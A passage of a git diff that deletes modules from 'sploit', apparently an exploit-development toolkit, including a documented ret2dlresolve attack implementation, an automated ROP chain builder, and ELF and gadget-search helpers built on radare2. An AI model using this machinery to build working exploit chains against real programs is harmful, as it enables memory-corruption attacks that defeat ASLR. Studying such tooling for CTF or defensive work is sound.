-        return itob(addr) - -class padlen(PayloadEntry): -    """Generate padding to reach a target payload length.""" - -    def __init__(self, size, data=None): -        self.size = size -        self.data = data - -    def payload_len(self, payload): -        return self.size - (self.base - payload.base) - -    def payload_bytes(self, payload): -        size = self.payload_len(payload) -        data = self.data or arch.nopcode -        if size < 0: -            raise ValueError("padding: Available space is negative") -        if (size := size / len(data)) != int(size): -            raise ValueError("padding: Element does not divide the space evenly") -        return data * int(size) - -class padabs(padlen): -    """Generate padding to reach a target absolute address.""" - -    def payload_len(self, payload): -        return self.size - self.base - -class padrel(padlen): -    """Generate a fixed length of padding (aka: length relative to self).""" - -    def payload_len(self, payload): -        return self.size - -class padalign(padlen): -    """Generate padding to reach next aligned address.""" - -    def __init__(self, size=None, data=None, reference=0): -        self.size = size -        self.data = data -        self.reference = reference - -    def payload_len(self, payload): -        size = self.size or arch.alignment -        return (self.reference - self.base) % size - -class placeholder(padlen): -    """Generate fixed length of magic bytes, one word length by default.""" - -    def __init__(self, size=None): -        self.size = size -        self.data = _PLACEHOLDER_MAGIC - -    def payload_len(self, payload): -        return self.size or arch.wordsize diff --git a/sploit/payload/ret2dlresolve.py b/sploit/payload/ret2dlresolve.py deleted file mode 100644 index 8862e22..0000000 --- a/sploit/payload/ret2dlresolve.py +++ /dev/null @@ -1,226 +0,0 @@ -""" -Perform "Return to dlresolve" dynamic linker attack - -The ret2dlresolve technique is useful to defeat library ASLR against targets -with partial relro (or less) and where no useable data leaks are available. -This is specifically a workaround for ASLR of libraries such as libc, and -addresses within the target executable are expected to be known (non-pic or -otherwise). - -When a dynamic library call is performed normally, applications jump to code -stubs in the .plt section to perform the actual relocation.  This process relies -on a couple of meta-data structures in the ELF object: - -Elf*_Rel: Contains a pointer to the corresponding GOT entry, which is used to -cache the real subroutine address for later calls, as well as an info field -describing the relocation.  This info field contains a type subfield and an -index into the ELF's symbol table for the symbol to be relocated. - -Elf*_Sym: Contains all the data relevant to the symbol.  For the purposes of the -exploit, only the symbol name field is utilized (the others are set to zeroes). -The name field is an offset into the ELF's string table, and the actual symbol -name string can be found at this offset. - -All of the data tables mentioned above are located by their corresponding -section in the ELF.  The relocation process however does not perform any bounds -checks to ensure the runtime data structures actually come from these sections. -By forging custom structures, and ensuring they can be written into memory at -precise locations, an attacker can trick the resolver to link any library -function they desire by setting up the equivalent PLT function call via ROP. - -Read on for more background details: -http://phrack.org/issues/58/4.html -https://gist.github.com/ricardo2197/8c7f6f5b8950ed6771c1cd3a116f7e62 - -Structure definitions from your standard elf.h header: - -typedef struct { -    Elf32_Word      st_name;        /* 4b Symbol name (string tbl index) */ -    Elf32_Addr      st_value;       /* 4b Symbol value */ -    Elf32_Word      st_size;        /* 4b Symbol size */ -    unsigned char   st_info;        /* 1b Symbol type and binding */ -    unsigned char   st_other;       /* 1b Symbol visibility */ -    Elf32_Section   st_shndx;       /* 2b Section index */ -} Elf32_Sym; - -typedef struct { -    Elf64_Word      st_name;        /* 4b Symbol name (string tbl index) */ -    unsigned char   st_info;        /* 1b Symbol type and binding */ -    unsigned char   st_other;       /* 1b Symbol visibility */ -    Elf64_Section   st_shndx;       /* 2b Section index */ -    Elf64_Addr      st_value;       /* 8b Symbol value */ -    Elf64_Xword     st_size;        /* 8b Symbol size */ -} Elf64_Sym; - -typedef struct { -    Elf32_Addr      r_offset;       /* 4b Address */ -    Elf32_Word      r_info;         /* 4b Relocation type and symbol index */ -} Elf32_Rel; - -typedef struct { -    Elf64_Addr      r_offset;       /* 8b Address */ -    Elf64_Xword     r_info;         /* 8b Relocation type and symbol index */ -} Elf64_Rel; - -Elf32_Rel.r_info = 0xAAAAAABB -                     |     | -                     |     type -                     symidx - -Elf64_Rel.r_info = 0xAAAAAAAABBBBBBBB -                     |       | -                     symidx  type -""" - -from sploit.arch import arch, itob -from sploit.payload.gadhint import GadHint -from sploit.payload.payload import Payload -from sploit.payload.payload_entry import padalign, padlen, pointer -from sploit.payload.rop import ROP -from sploit.rev.r2 import run_cmd - -_JMP_SLOT = 0x07 - -def _symsize(): -    # Size of Elf*_Sym, used for padding and indexing -    if arch.wordsize == 4: return 16 -    elif arch.wordsize == 8: return 24 -    raise ValueError("Ret2dlresolve: Architecture wordsize unsupported") - -def _relsize(): -    # Size of Elf*_Rel, used only for indexing on 64bit (32bit uses offset) -    if arch.wordsize == 4: return 1 -    elif arch.wordsize == 8: return 24 -    raise ValueError("Ret2dlresolve: Architecture wordsize unsupported") - -def _infoshift(): -    # Partition subfields of Elf*_Rel.r_info -    if arch.wordsize == 4: return 8 -    elif arch.wordsize == 8: return 32 -    raise ValueError("Ret2dlresolve: Architecture wordsize unsupported") - -class Ret2dlresolve(ROP): -    # Use constructor from ROP class - -    def reloc(self, symbol_name): -        """ -        Generate relocation structures for the function with given symbol name. - -        The returned data structures are packed into a single Payload object. -        This payload must be written into the target's memory before attempting -        to use it with Ret2dlresolve.call().  Furthermore, the chosen write -        location must be assigned to the payload base property, so that internal -        pointers may take on the appropriate values. - -        See Ret2dlresolve.determine_address() for advice on choosing a write -        location. - -        symbol_name (str): Name of library function to link -        """ -        binary = self.objects[0] -        symtab = binary.sym.sect['.dynsym'] -        strtab = binary.sym.sect['.dynstr'] - -        try: -            jmprel = binary.sym.sect['.rel.plt'] -        except KeyError: -            jmprel = binary.sym.sect['.rela.plt'] - -        # Elf*_Rel.r_info -        info = lambda x: ((int(x - symtab) // _symsize()) << _infoshift()) | _JMP_SLOT - -        # The sym structure is the most picky about its location in memory.  So -        # it is listed first in the main dlres struct, which can be placed at -        # the desired location. -        sym = Payload() -        sym.name = pointer("symbol_string", lambda x: x - strtab) -        sym.pad = padlen(_symsize(), b"\x00") -        sym.symbol_string = symbol_name - -        dlres = Payload() -        dlres.symalign = padalign(_symsize(), reference=symtab) -        dlres.sym = sym -        dlres.relalign = padalign(_relsize(), reference=jmprel) -        dlres.offset = pointer() -        dlres.info = pointer("sym", info) -        return dlres - -    def determine_address(self, start=None, end=None, n=0): -        """ -        Determine recommended address for relocation structures. - -        There are a couple considerations to make when determining the memory -        locations.  First of all, the location must be writable.  More -        importantly, since most items are referred to by an array index, the -        structures themselves must be properly aligned, reference to the array -        origins. - -        The payload returned from Ret2dlresolve.reloc() has some of these -        alignments built in, but one crucial one is not.  The index implied by -        Elf*_Sym's offset from the symtab base is the same index used to lookup -        symbol version information, reference to versym.  The data at this index -        must constitute a valid version half-word (16-bits).  This function -        attempts to ensure that the coincident version info for any returned -        value is the data \x00\x00.  Getting this wrong can cause the dlresolve -        routine to crash. - -        start (int): Minimum address to recommend (default: .bss section address) -        end (int): Maximum address to recommend (default: end of memory page) -        n (int): Return the Nth useable address within the defined range -        """ -        binary = self.objects[0] -        symtab = binary.sym.sect['.dynsym'] -        versym = binary.sym.sect['.gnu.version'] -        bss = binary.sym.sect['.bss'] - -        if start is None: start = bss -        if end is None: end = (start & ~0xfff) + 0x1000 - -        zero_words = run_cmd(binary.path, "/x 0000") -        zero_words = [ int(x.split(" ")[0], 0) for x in zero_words ] - -        # Size of version entry is always 2 bytes. -        veroff = [ x - versym for x in zero_words ] -        idx = [ x//2 for x in veroff if x%2 == 0 ] -        symoff = [ x * _symsize() for x in idx ] -        addr = [ x + symtab for x in symoff ] -        addr = [ x for x in addr if start <= x < end ] - -        if len(addr) > n: -            return addr[n] - -        raise AssertionError("Ret2dlresolve: No suitable memory location") - -    # Overrides ROP.call() -    def call(self, reloc, *params): -        """ -        Return a ROP payload to call function via dynamic linker. - -        reloc's base address must be set appropriately. - -        reloc (Payload): Relocation payload obtained from Ret2dlresolve.reloc() -        *params (int): Remaining positional args are passed to function. -        """ -        binary = self.objects[0] -        plt = binary.sym.sect['.plt'] - -        try: -            jmprel = binary.sym.sect['.rel.plt'] -        except KeyError: -            jmprel = binary.sym.sect['.rela.plt'] - -        register_params = dict(zip(arch.funcargs, params)) -        stack_params = params[len(register_params):] -        index = int(reloc.offset - jmprel) // _relsize() - -        reqs = GadHint(requirements=register_params) -        call = GadHint(index, stack=stack_params) -        ret = GadHint(self.search_gadget(arch.ret)) - -        chain = Payload() -        try: chain.requirements = self.gadget(reqs).requirements -        except KeyError: pass -        chain.alignment = padalign(0, itob(ret)) -        chain.plt = plt -        chain.call = self.gadget(call) -        return chain diff --git a/sploit/payload/rop.py b/sploit/payload/rop.py deleted file mode 100644 index 30467de..0000000 --- a/sploit/payload/rop.py +++ /dev/null @@ -1,364 +0,0 @@ -from graphlib import TopologicalSorter - -from sploit.arch import arch, btoi, itob -from sploit.payload.gadhint import GadHint -from sploit.payload.payload import Payload -from sploit.payload.payload_entry import padalign, padlen - -_POP_MAGIC = 0xdead -_SPM_MAGIC = b"\x69" -_ERROR_MAGIC = 0xbaadc0de - -class ROP: -    """ -    ROP chain generation tool - -    This class contains methods for automating basic return-oriented programming -    workloads, such as loading register values and calling into arbitrary -    functions or syscalls.  The tools are currently designed to work on x86 -    (32 or 64 bit) and ARM (32 bit only). - -    The main appeal of the ROP class is the ability to abstract away the manual -    construction of ROP chain data, and instead make declarative statements -    like "call this function with these arguments".  The ROP class will also -    utilize its supplied binary objects to automatically find and use trivial -    gadgets. - -    The user is able to provide annotations for more complicated gadgets, which -    help instruct the class how to incorporate them into a ROP chain.  This is -    done with the GadHint dataclass.  GadHint objects are provided to a ROP -    instance by including them in the Symtbl of one of the binary objects it is -    constructed with.  If applicable, a user-supplied gadget will take -    precedence over automatic gadget searching.  See the GadHint module to learn -    more about the descriptive attributes that are supported. - -    objects (list[ELF]): The binary objects this ROP instance will consider for -    gadget searching.  If one of these is the target executable binary, it -    should appear first in the list. - -    safe_syscalls (bool): If True, require that automatically found syscall -    instructions are immediately followed by a return instruction. - -    align_calls (bool): If True, ensure that the stack return address into -    function calls is aligned according to the architecture alignment property. - -    clean_stack (bool): If True, attempt to locate a cleaning gadget to "pop" -    stack data that is leftover from a function call.  Required if attempting -    to make multiple calls that involve stack-based arguments. -    """ - -    def __init__(self, *objects, safe_syscalls=True, align_calls=True, -                 clean_stack=True): -        """Construct new ROP builder.""" -        self.objects = objects -        self.safe_syscalls = safe_syscalls -        self.align_calls = align_calls -        self.clean_stack = clean_stack - -    def search_gadgets(self, *regexes, cont=False): -        """Return a list of matching gadgets, considering all objects.""" -        results = [] -        for obj in self.objects: -            results += obj.gadgets(*regexes, cont=cont) -        return results - -    def search_gadget(self, *regexes): -        """Return the first matching gadget, considering all objects.""" -        for obj in self.objects: -            try: -                return obj.gadget(*regexes) -            except: -                pass -        raise LookupError( -            f"ROP: Need to define gadget symbol for {'; '.join(regexes)}") - -    def gadget(self, gadget): -        """ -        Return a generic ROP payload. - -        gadget (GadHint): Annotated gadget to prepare a chain from. -        """ -        return self.__build_chain(gadget, {}) - -    def assign(self, **sets): -        """ -        Return a ROP payload to control given registers. - -        **sets (str:int): Keyword arguments specify register assignments to -        perform with this ROP chain.  Argument names correspond to register -        names. -        """ -        return self.gadget(GadHint(requirements=sets)) - -    def call(self, func, *params): -        """ -        Return a ROP payload to call function. - -        func (int): Entry address of function to call. -        *params (int): Remaining positional args are passed to func. -        """ -        register_params = dict(zip(arch.funcargs, params)) -        stack_params = params[len(register_params):] -        gadget = GadHint(func, requirements=register_params, stack=stack_params, -                         align=self.align_calls) -        return self.gadget(gadget) - -    def syscall(self, *params): -        """ -        Return a ROP payload to call kernel. - -        *params (int): The first argument is the syscall number.  Remaining -        positional arguments are passed to the syscall. -        """ -        if len(params) > len(arch.kernargs): -            raise TypeError("ROP: Too many arguments passed to syscall. " -                f"Target architecture supports up to {len(arch.kernargs)-1}.") - -        register_params = dict(zip(arch.kernargs, params)) -        sc = self.__get_gadget("syscall", {}) -        return self.gadget(sc.with_requirements(register_params)) - -    def memcpy(self, dst, src): -        """ -        Return a ROP payload to write data into memory. - -        dst (int): The destination memory address. -        src (bytes): The content to write. -        """ -        data = Payload() -        for idx in range(0, len(src), arch.wordsize): -            word = btoi(src[idx:idx+arch.wordsize]) -            data(self.gadget(self.__get_write(dst+idx, word))) -        return data - -    def __get_hints(self): -        """Return all user-supplied gadget hints.""" -        return [h for obj in self.objects for _,h in obj.sym if type(h) is GadHint] - -    def __discover_requirements(self, seen, graph, current): -        """ -        Populate gadget dependency graph. - -        This function recursively looks up gadgets to ensure all necessary -        required gadgets can be found, and stores this information into the -        given graph object.  Established dependencies encode the order that the -        chain builder should attempt to satisfy register requirements. -        Dependency loops are detected by the TopologicalSorter. - -        seen (set): Set of (register,value) tuples we have already discovered. -        graph (TopologicalSorter): Dependency graph model object. -        current (GadHint): Current gadget we are processing. -        """ -        for r, v in current.requirements.items(): -            # We key on register name _and_ value because some gadgets may -            # only be capable of storing specific values in a target register. -            # Requiring a register to store different values may require the -            # use of multiple gadgets. -            if (r, v) not in seen: -                gadget = self.__get_gadget(r, current.requirements) - -                # Add gadget's requirements to the dependency graph. -                # We say that each requirement is a 'successor' to this -                # current gadget 'r', so that the chain builder will satisfy -                # 'r' first.  This prevents the fulfillment of 'r' from -                # clobbering targets it requires, as the builder will satisfy -                # them afterward. -                for x in gadget.requirements: -                    graph.add(x, r) - -                # Treat gadget's load immediates as pseudo-requirements for -                # the sake of target ordering, following the same logic -                # as above. -                for x in gadget.imms: -                    graph.add(x, r) - -                # Mark node as visited -                seen.add((r, v)) -                self.__discover_requirements(seen, graph, gadget) - -    def __get_gadget(self, target, sets): -        """ -        Get context-specific gadget. - -        target (str): Either "ret", "syscall", or the name of a register we -        would like to modify. - -        sets (dict{str:int}): The set of other register requirements we are -        trying to fulfill in parallel.  Values may affect the gadget we decide -        to use. -        """ -        # First, consider user-provided hints before automatically locating -        # gadgets. -        for hint in self.__get_hints(): -            # Setup additional requirements based on hint's register moves. -            # If a mov target is in sets, require to set the src to the 'sets' -            # value. -            addl_reqs = { src:sets[dst] for dst, src in hint.movs.items() if dst in sets } -            hint = hint.with_requirements(addl_reqs) - -            # Pops will be accounted for by the chain builder. -            # Immediates will be handled by gadget ordering in chain builder. -            # Writes are a non-issue here. - -            if hint.syscall: -                # Only consider syscalls if the target is syscall. -                if target == "syscall": -                    return hint -            elif target in hint.imms: -                if hint.imms[target] == sets[target]: -                    return hint -            elif target in hint.pops: -                return hint -            elif target in hint.movs: -                return hint - -        # Automatically locate simple gadgets -        if target == "ret": -            return GadHint(self.search_gadget(arch.ret)) - -        if target == "syscall": -            insns = [arch.syscall, arch.ret] if self.safe_syscalls else [arch.syscall] -            return GadHint(self.search_gadget(*insns), syscall=True) - -        # target == register -        insns = [ i.format(target) for i in arch.popgad ] -        return GadHint(self.search_gadget(*insns), pops=[target]) - -    def __get_clean(self, size): -        """ -        Get a stack cleaning gadget that moves sp by _at least_ size. - -        size (int): Minimum stack pointer move. -        """ -        # spm values of zero (the default) can't be trusted, as in this case -        # the user likely hasn't annotated the GadHint properly.  Returning a -        # larger move than requested is fine, since the chain builder can insert -        # junk to be popped. -        for hint in self.__get_hints(): -            if hint.spm >= size and hint.spm > 0: -                return hint - -        results = self.search_gadgets(*arch.cleangad) -        table = { int(g.asm[0].group(1), 0): g for g in results } -        sizes = sorted([ x for x in table.keys() if x >= size ]) - -        if len(sizes) > 0: -            return GadHint(table[sizes[0]], spm=sizes[0]) - -        raise LookupError( -            f"ROP: Need to define a stack move gadget of at least {size}") - -    def __get_write(self, dst, src): -        """ -        Get a memory write gadget, injected with requirements for user data. - -        dst (int): The intended memory write location. -        src (int): The intended value to write. -        """ -        # If any exist, take the first write provided by user hints, assuming -        # the user's intent to specifically use _this_ write.  Follow-on gadgets -        # to setup the dst and src registers must be findable. -        for hint in self.__get_hints(): -            if hint.writes: -                d, s = list(hint.writes.items())[0] -                return hint.with_requirements({d:dst, s:src}) - -        # Only take an automatic write gadget if we can prove up front that its -        # requirements can be met, otherwise move on.  A later search result may -        # pass the test. -        results = self.search_gadgets(*arch.writegad) - -        for gad in results: -            d = gad.asm[0].group("dst") -            s = gad.asm[0].group("src") - -            try: -                # Assert requirements are met. -                gadget = GadHint(gad, writes={d: s}, requirements={d:dst, s:src}) -                self.__discover_requirements(set(), TopologicalSorter(), gadget) -                return gadget -            except: -                pass - -        raise LookupError("ROP: Need to define gadgets for memory write / deps") - -    def __build_chain(self, gadget, sets): -        """ -        Generate ROP chain data for a given gadget. - -        This function recursively builds a ROP chain for the given gadget and -        its requirements, returning the result as a Payload. - -        gadget (GadHint): Current gadget to process. - -        sets (dict{str:int}): The set of other register requirements we are -        trying to fulfill in parallel. -        """ -        # Form a to-do-list of registers from our immediate requirements, -        # attempting to order them such that we avoid overwriting/conflicting -        # values.  This may not be possible, in which case graph.static_order() -        # will raise an exception. -        reqs = gadget.requirements -        graph = TopologicalSorter({ r:set() for r in reqs }) -        self.__discover_requirements(set(), graph, gadget) -        to_do_list = [ x for x in graph.static_order() if x in reqs ] - -        chain = Payload() - -        # Start chain by satisfying to-do-list requirements. -        if len(to_do_list) > 0: -            chain.requirements = Payload() - -        while len(to_do_list) > 0: -            r = to_do_list[0] -            g = self.__get_gadget(r, reqs) -            c = self.__build_chain(g, reqs) -            chain.requirements[f"{r}_{reqs[r]}"] = c - -            # This gadget may satisfy multiple items in the to-do-list. -            # Specifically, all of its pop and mov targets, and any load -            # immediates that match our requirements.  Non-matching -            # immediates will be handled by a later gadget. -            imms = g.imms.keys() & reqs.keys() -            imms = [ x for x in imms if g.imms[x] == reqs[x] ] -            done = g.pops + list(g.movs) + imms -            to_do_list = [ x for x in to_do_list if x not in done ] - -        # Append chain data to execute this gadget, but respect offset == 0 -        # as a way to disable this gadget (perform a NULL gadget). -        if gadget.offset != 0: -            # Stack alignment if required. -            if gadget.align: -                ret = self.__get_gadget("ret", {}) -                chain.alignment = padalign(0, itob(ret)) - -            # "Return address" entry into this gadget. -            chain.gadget = gadget.offset - -            # The gadget's "inner stack data" will be values to be popped and -            # additional junk data to be deallocated by the gadget itself. -            if gadget.pops or gadget.spm > 0: -                chain.inner = Payload() -                chain.inner(*[ sets.get(p, _POP_MAGIC) for p in gadget.pops ]) -                if gadget.spm > 0: -                    chain.inner.pad = padlen(gadget.spm, _SPM_MAGIC) - -            # The gadget's "outer stack data" will be the additional values -            # explicitly specified by the gadget.  Append a separate gadget -            # to clean up these values. -            if gadget.stack: -                size = len(gadget.stack) * arch.wordsize - -                if self.clean_stack: -                    clean = self.__get_clean(size) -                    chain.cleanup = clean.offset -                    pad = padlen(clean.spm, _SPM_MAGIC) -                else: -                    chain.cleanup = _ERROR_MAGIC -                    pad = None - -                chain.outer = Payload() -                chain.outer(*gadget.stack) -                if pad: chain.outer.pad = pad - -        return chain diff --git a/sploit/rev/__init__.py b/sploit/rev/__init__.py deleted file mode 100644 index 42e2f5b..0000000 --- a/sploit/rev/__init__.py +++ /dev/null @@ -1,4 +0,0 @@ -from .elf import * -from .gadget import * -from .ldd import * -from .r2 import * diff --git a/sploit/rev/elf.py b/sploit/rev/elf.py deleted file mode 100644 index b1479d6..0000000 --- a/sploit/rev/elf.py +++ /dev/null @@ -1,204 +0,0 @@ -""" -Definition of the ELF class -""" - -from sploit.rev import ldd, r2 -from sploit.arch import lookup_arch -from itertools import zip_longest - -class ELF: -    """ -    Representation of an ELF binary file. - -    This class is effectively a front-end for the r2 module.  Through ELF, you -    can get information about an ELF binary in a convenient, object-oriented -    interface and automate some of your static analysis reverse engineering. - -    Because much of the functionality of r2 is cached, much of the functionality -    of ELF is also implicitly cached.  Longer operations like retrieving the -    symbol table or looking up gadgets will be faster on subsequent attempts. -    This is mostly useful when sploit is run from the REPL or in Pipes mode -    where this cache is preserved across script runs. - -    Some of the behavior of this class is done upfront while other operations -    are performed lazily.  Retrieving symbols, binary info, security info, and -    the list of library dependencies are all done upfront when the object is -    constructed. - -    path (str): Absolute file path to the underlying ELF file. - -    sym (Symtbl): A collection of named address offsets exposed through the ELF. - -    libs (dict{str:ELF}): A dictionary of ELFs representing linked library -    dependencies of the current ELF. They are indexed by their base filename -    (i.e. elf.libs["libc.so.6"]).  The actual ELF is lazily constructed when it -    is requested. Pretty printing of the libs dict is implemented. - -    locals (->Symtbl): A psuedo-namespace to access Symtbls for the local -    variables of functions.  i.e. If a function existed in the elf called foo(), -    you could get a Symtbl of its local variables with elf.locals.foo - -    info (->str|int): A psuedo-namespace to access various info about the ELF -    file.  Printing elf.info will pretty-print this info in a tabulated form. - -    info.type (str): The type of file. - -    info.os (str): The os the binary was compiled for. - -    info.baddr (int): The virtual base address of the binary. - -    info.arch_string (str): A string given by r2 iI that helps identify the -    architecture the binary was compiled for. - -    info.wordsize (int): The natual width of an int on the architecture the -    binary was compiled for. - -    info.endianness (str): The byte order of an int on the architecture the -    binary was compiled for. - -    security (->bool|str): A psuedo-namespace to access security info about the -    binary.  Printing elf.security will pretty-print this info in a tabulated -    form. - -    security.stripped (bool): True if the binary was stripped of debugging -    information, symbols, and strings. - -    security.pic (bool): True if the binary's code is position independent. - -    security.relro (str): The level of "Relocation Read-Only" that the binary -    was compiled with. Pertains to if the Global Offset Table is read-only. -    This is often "partial" or "full". - -    security.relocs (bool): True if the binary uses dynamic runtime relocation. - -    security.canary (bool): True if the binary uses stack canaries. - -    security.nx (bool): True if the binary does not have stack execution -    privileges. - -    security.rpath (str): Runtime library lookup path. If there isn't one, this -    will say "NONE". - -    arch (Arch): On Construction, an ELF will automatically try to figure out if -    it was compiled for one of sploit's predefined Arch's. If so, it will set it -    here. Otherwise, this is None. -    """ - -    def __init__(self, path): -        """ -        Construct an ELF. - -        path (str): The filepath to the ELF binary file. -        """ -        self.path = path -        self.sym = r2.get_elf_symbols(self.path) -        try: -            libs = ldd.get_libraries(self.path) -        except: -            libs = {} -        self.libs = self.__LIBS__(libs) -        self.locals = self.__LOCALS__(self) -        bininfo = r2.get_bin_info(self.path) -        self.info = self.__BININFO__(bininfo) -        self.security = self.__SECINFO__(bininfo) -        self.arch = lookup_arch(self.info.arch_string, self.info.wordsize, self.info.endianness) - -    def __repr__(self): -        """Pretty-print a summary of the ELF.""" -        s = 'ELF: ' -        s += self.path -        s += f'\n{len(self.sym)} symbols @ {hex(self.sym)}' -        column_fmt = '\n{0:36}{1:36}' -        border = '------------' -        s += column_fmt.format(border,border) -        s += column_fmt.format('Binary Info','Security Info') -        s += column_fmt.format(border,border) -        for line in zip_longest(str(self.info).split('\n'),str(self.security).split('\n'),fillvalue=''): -            s += column_fmt.format(line[0],line[1]) -        s += f'\n{border}' -        s += '\nLibraries' -        s += f'\n{border}' -        s += '\n' -        s += str(self.libs) -        return s - -    class __LIBS__(dict): -        # Fancy magic dict of {filename:ELF} which will lazy load the ELF -        def __init__(self, libs): -            super().__init__({lib.name:lib.path for lib in libs.values() if lib.path}) -        def __getitem__(self, lib): -            get = super().__getitem__ -            if(type(get(lib))==str):self[lib] = ELF(get(lib)) -            return get(lib) -        def __repr__(self): -            s = '' -            for name,lib in self.items(): -                s += '\n' + str(name) + ' => ' + (lib if(type(lib)==str) else str(lib.path)) -            return s.strip() - -    class __LOCALS__: -        # Fancy magic class that provides a psuedo-namespace to lookup locals for functions -        def __init__(self, elf): -            self.elf = elf -        def __getattr__(self, sym): -            return r2.get_locals(self.elf.path, getattr(self.elf.sym, sym)) - -    class __BININFO__: -        # Fancy magic class that provides a psuedo-namespace to get properties of the binary -        def __init__(self, bininfo): -            self.info = { -                    "type"          : bininfo['bintype'], -                    "os"            : bininfo['os'], -                    "baddr"         : bininfo['baddr'], -                    "arch_string"   : bininfo['arch'], -                    "wordsize"      : bininfo['bits']//8, -                    "endianness"    : bininfo['endian'], -                } -        def __getattr__(self, k): -            return self.info[k] -        def __repr__(self): -            s = '' -            for name,val in self.info.items(): -                if name == 'baddr': val = hex(val) -                s += '\n{0:14}{1}'.format(name,val) -            return s.strip() - -    class __SECINFO__(__BININFO__): -        # Fancy magic class that provides a psuedo-namespace to get security properties of the binary -        def __init__(self, bininfo): -            self.info = { -                    "stripped"      : bininfo['stripped'], -                    "pic"           : bininfo['pic'], -                    "relro"         : bininfo.get('relro',''), -                    "relocs"        : bininfo['relocs'], -                    "canary"        : bininfo['canary'], -                    "nx"            : bininfo['nx'], -                    "rpath"         : bininfo['rpath'], -                } - -    def retaddr(self, caller, callee): -        """ -        Returns a list of addresses where a function returns into another -        function at. - -        caller (int): Address of the calling function to be returned into. - -        callee (int): Address of the function that was called and will return. -        """ -        return [c.ret_addr for c in r2.get_call_returns(self.path, caller, callee)] - -    def gadgets(self, *regexes, cont=False): -        """ -        Returns a list of gadgets that match the given regex list. - -        *regexes (str): All positional arguments are treated as regex strings -        for the gadget search. - -        cont (bool): If true, this function will return all of the assembly past -        the found gadget up to the next return point. -        """ -        return [ self.sym[g] for g in r2.rop_gadgets(self.path, *regexes, cont=cont) ] - -    def gadget(self, *regexes): -        """Returns the first gadget found that matches the given regex list.""" -        return self.sym[r2.rop_gadget(self.path, *regexes)] diff --git a/sploit/rev/gadget.py b/sploit/rev/gadget.py deleted file mode 100644 index cc69723..0000000 --- a/sploit/rev/gadget.py +++ /dev/null @@ -1,25 +0,0 @@ -from dataclasses import dataclass, field -from sploit.types.index_entry import IndexEntry - -@dataclass -class Gadget(IndexEntry): -    """ -    Basic gadget description object - -    base (int): The location this gadget is found at.  What `base` is relative -    to depends on context. - -    asm (list[re.Match]): A list of assembly instructions matched by the gadget -    search query. -    """ - -    base: int = 0 -    asm: list = field(default_factory=list) - -    def __repr__(self): -        """Return human-readable Gadget.""" -        s = hex(self.base) -        if len(self.asm) > 0: -            asm = "; ".join([ m.string for m in self.asm ]) -            s += f", '{asm}'" -        return f"Gadget({s})" diff --git a/sploit/rev/ldd.py b/sploit/rev/ldd.py deleted file mode 100644 index b773abf..0000000 --- a/sploit/rev/ldd.py +++ /dev/null @@ -1,13 +0,0 @@ -from sploit.util.cmd import run_cmd_cached -from sploit.util.log import ilog - -import re -from collections import namedtuple as nt - -def get_libraries(elf): -    ilog(f'Retrieving linked libraries of {elf} with ldd...') -    out = run_cmd_cached(['ldd',elf]) -    out = [re.split(r'\s+',lib)[1:] for lib in out] -    Lib = nt("Lib", "name path addr") -    out = {l[0]:Lib(l[0],l[0] if l[0][0]=='/' else l[2] if l[1]=='=>' else None,l[-1]) for l in out} -    return out diff --git a/sploit/rev/r2.py b/sploit/rev/r2.py deleted file mode 100644 index e81adc9..0000000 --- a/sploit/rev/r2.py +++ /dev/null @@ -1,139 +0,0 @@ -from sploit.arch import arch -from sploit.rev.gadget import Gadget -from sploit.symtbl import Symtbl -from sploit.util.cmd import run_cmd_cached -from sploit.util.log import ilog - -from collections import namedtuple as nt -from functools import cache -import json -import re - -def run_cmd(binary,cmd): -    return run_cmd_cached(['r2','-q','-c',cmd,'-e','scr.color=false','-e','rop.len=10','-e','search.in=io.maps.x',binary]) - -def get_elf_symbols(elf): -    ilog(f'Retrieving symbols of {elf} with r2...') - -    base = get_bin_info(elf)['baddr'] - -    sect = json.loads(run_cmd(elf,'iSj')[0]) -    sect = {s['name']:s['vaddr'] for s in sect} - -    syms = json.loads(run_cmd(elf,'isj')[0]) -    syms = [s for s in syms if s['type'] in ['OBJ', 'FUNC', 'NOTYPE']] - -    plt = [s for s in syms if s['is_imported']] -    plt = {sym['realname']:sym['vaddr'] for sym in plt} -    plt = Symtbl(base=sect.get('.plt',0), **plt) - -    syms = [s for s in syms if not s['is_imported']] -    syms = {sym['realname']:sym['vaddr'] for sym in syms} -    syms = Symtbl(base=base, **syms) - -    got = json.loads(run_cmd(elf,'irj')[0]) -    got = {sym['name']:sym['vaddr'] for sym in got if 'name' in sym} -    got = Symtbl(base=sect.get('.got',0), **got) - -    strings = json.loads(run_cmd(elf,'izj')[0]) -    strings = {s['string']:s['vaddr'] for s in strings} -    strings = Symtbl(base=sect.get('.rodata',0), **strings) - -    sect = Symtbl(**sect) -    syms.sect = sect -    syms.imp = plt -    syms.rel = got -    syms.str = strings -    return syms - -def get_locals(binary,func): -    ilog(f'Retrieving local stack frame of {hex(func)} in {binary} with r2...') - -    addr = hex(func) -    cmd_locals = f's {func};af;aafr;aaft;afvf' -    out = run_cmd(binary,cmd_locals) -    out = [re.split(r':?\s+',var) for var in out] -    out = {var[1]:-(int(var[0],0)-arch.wordsize) for var in out} -    return Symtbl(sbp=0, **out) - -def rop_json(binary): -    # Gadget JSON schema: -    # [ -    #   { -    #     retaddr: int -    #     size: int -    #     opcodes: [ -    #       { -    #         offset: int -    #         size: int -    #         opcode: string -    #         type: string -    #       } -    #     ] -    #   } -    # ] -    return json.loads("\n".join(run_cmd(binary, "/Rj"))) - -@cache -def rop_gadgets(binary, *regexes, cont=False): -    ilog(f"Searching {binary} for {'; '.join(regexes)} gadgets with r2...") -    gadgets = rop_json(binary) -    results = [] -    result_offsets = [] -    base = get_bin_info(binary)['baddr'] - -    for gadget in gadgets: -        opcodes = gadget['opcodes'] -        end_idx = len(opcodes) - len(regexes) - -        for start_idx in range(end_idx + 1): -            idx = start_idx -            size = end_idx - idx -            regexes_use = (regexes + (".*",) * size) if cont else regexes - -            offset = opcodes[idx]['offset'] - base -            if offset in result_offsets: -                continue - -            matches = [] - -            for regex in regexes_use: -                match = re.fullmatch(regex, opcodes[idx]['opcode']) -                if not match: -                    break -                matches.append(match) -                idx += 1 - -            if len(matches) == len(regexes_use): -                results.append(Gadget(offset, matches)) -                result_offsets.append(offset) - -    return results - -def rop_gadget(binary, *regexes): -    results = rop_gadgets(binary, *regexes) -    if len(results) == 0: -        raise LookupError(f"Could not find gadget for: {'; '.join(regexes)}") -    return results[0] - -@cache -def get_call_returns(binary,xref_from,xref_to): -    ilog(f'Getting return addresses of calls from {hex(xref_from)} to {hex(xref_to)} in {binary} with r2...') - -    cmd_xrefs = f's {hex(xref_from)};af;axq' -    xrefs = run_cmd(binary,cmd_xrefs) -    